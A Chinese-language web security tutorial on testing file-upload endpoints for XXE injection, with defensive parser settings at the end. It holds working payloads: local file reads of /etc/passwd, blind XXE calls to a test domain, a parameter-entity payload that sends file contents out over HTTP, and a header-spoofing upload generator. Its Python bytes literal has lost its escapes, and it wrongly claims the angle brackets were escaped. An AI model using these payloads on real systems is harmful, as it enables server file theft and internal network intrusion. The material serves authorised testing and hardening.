在Web安全测试中,文件上传功能往往是攻击面最集中的入口之一。当后端服务接收用户上传的XML格式文件并进行解析时,若未禁用外部实体加载,就可能引入XML外部实体注入(XXE)漏洞。这类问题不像普通上传木马那样直观,但借助XXE可以读取服务器本地文件、发起内网请求甚至造成拒绝服务。理解解析库的行为并掌握系统化的测试步骤,是挖掘此类漏洞的关键。

一、明确上传点是否解析XML
并不是所有文件上传接口都会解析XML,第一步应当是确认后端对上传内容的处理方式。常见场景包括:接口要求上传Office文档(如docx、xlsx,其内部本质是XML压缩包)、直接接收配置文件或数据交换文件(如导入商品信息的xml)、以及某些老旧系统使用XML-RPC风格的交互。我们可以通过查看请求中的Content-Type、文件扩展名限制以及返回报错来判断。
例如,当上传一个非法XML时,若服务端返回“XML parse error”或类似SAXException信息,就说明存在XML解析流程。此时应进一步分析其使用的语言与库,因为不同生态的默认值不同:Java的javax.xml.parsers默认不加载外部实体,但很多开发者手动开启了DOCTYPE支持;PHP的SimpleXML若结合LIBXML_NOENT则极其危险;.NET的XmlDocument在旧版本中默认解析外部实体。
二、构造基础XXE测试载荷
确认存在解析行为后,需要从最简单的外部实体声明开始验证。下面是一个基础的XML文件内容,用于读取服务器上的本地文件,我们将小于号和大于号都做了转义处理以符合代码块规范:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
将上述内容保存为test.xml并作为文件上传,观察响应中是否出现了passwd文件的内容。如果直接回显,说明实体被成功展开。若没有回显,也不可轻易放弃,因为很多系统采用“盲XXE”模式,即解析错误不返回给用户,但服务端确实发起了外部请求。
对于盲打场景,我们可以把SYSTEM指向自己控制的服务器,通过日志判断。示例如下,其中域名替换为ipipp.com形式的测试域名:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://test.ipipp.com/xxe_log"> ]> <root>&xxe;</root>
三、结合上传逻辑绕过限制
实际测试中,上传点通常存在扩展名黑白名单、Content-Type校验或前端JS限制。绕过思路主要围绕让后端依然按XML解析,但绕过表层过滤。比如服务器只允许.xml结尾,则直接传xml文件;若只允许特定业务后缀但内部解压后解析,可构造恶意docx(将xxe写入[Content_Types].xml后压缩)。
另外,某些接口通过判断文件头而非后缀,此时在XML前添加无害的ZIP头可能骗过检测,但解析库仍读到XML部分。下面用Python演示如何生成一个带XML声明的复合文件用于测试:
# 生成可能被误解析的xml上传样本
payload = b'PKx03x04' + b'<?xml version="1.0"?><!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><a>&xxe;</a>'
with open('evil_doc.xml', 'wb') as f:
f.write(payload)
# 实际测试时根据目标调整文件头与扩展名
这段代码仅作原理说明,真实利用需结合目标格式规范。核心在于:不要被上传入口的“文件类型”迷惑,要追踪数据到达解析函数之前的完整链路。
四、利用报错信息放大危害
当服务端将解析异常直接抛出时,我们可以利用参数实体实现内外通道结合,读取更敏感路径。参数实体以百分号定义,能在DOCTYPE内部复用,适合做嵌套外带。
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://test.ipipp.com/?x=%file;'>"> %eval; %exfil; ]> <foo>test</foo>
上述载荷先把本地文件读入参数实体file,再拼接成外带URL。如果目标解析器支持这种嵌套,攻击者的HTTP日志就能收到文件内容。需要注意的是,不同 libxml2 版本对字符编码和换行处理有差异,实战中常需对返回值做URL编码或base64包装。
从防御视角看,开发侧应在解析前调用工厂方法禁用DOCTYPE,例如Java中设置XMLConstants.FEATURE_SECURE_PROCESSING,PHP中去掉LIBXML_NOENT并启用LIBXML_NONET。测试人员确认漏洞后,也应给出对应语言的修复代码片段,帮助业务快速闭环。
五、系统化测试清单
为避免遗漏,建议每次测试文件上传XXE时按以下顺序执行:识别解析点、发基础实体payload、查回显与盲打日志、试参数实体外带、绕扩展名与Content-Type、最后确认报错泄露。下表列出常见语言的安全配置对照:
| 语言/库 | 危险默认 | 安全设置 |
|---|---|---|
| PHP SimpleXML | LIBXML_NOENT开启 | 不使用NOENT,加LIBXML_NONET |
| Java DOM | 手动setFeature开DOCTYPE | setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) |
| .NET XmlDocument | 旧版解析外部实体 | XmlResolver = null |
按照上述流程,文件上传点的XXE挖掘就能从盲目尝试转为可复用的方法论。安全测试的价值不仅在于找到漏洞,更在于用确定的证据推动修复,让解析组件默认处于收紧状态。